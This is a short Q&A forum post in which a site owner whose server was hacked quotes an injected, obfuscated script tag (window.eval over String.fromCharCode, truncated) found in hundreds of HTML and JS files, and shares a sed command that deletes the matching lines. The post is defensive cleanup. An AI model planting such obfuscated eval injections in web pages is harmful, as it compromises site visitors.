0

Possible Duplicate:
My server's been hacked EMERGENCY

I have following code in hundreds of my html and js files:

<script>/*km0ae9gr6m*/window.eval(String.fromCharCode(101,118,97,108,40,102,117............,41,59,10));/*qhk6sa6g1c*/</script

I need find and remove the above code using SED in bash. Just cannot figure out that how can i remove/replace string using sed, between a starting and specific ending string.

Thanks in advance

Farhan
  • 4,377
  • 12
  • 56
  • 87

1 Answers1

0

Nevermind. i got its solution just after posting the question :)

sed '/km0ae9gr6m/d' index.html

If above string portion is found, it will remove that line completely.

Farhan
  • 4,377
  • 12
  • 56
  • 87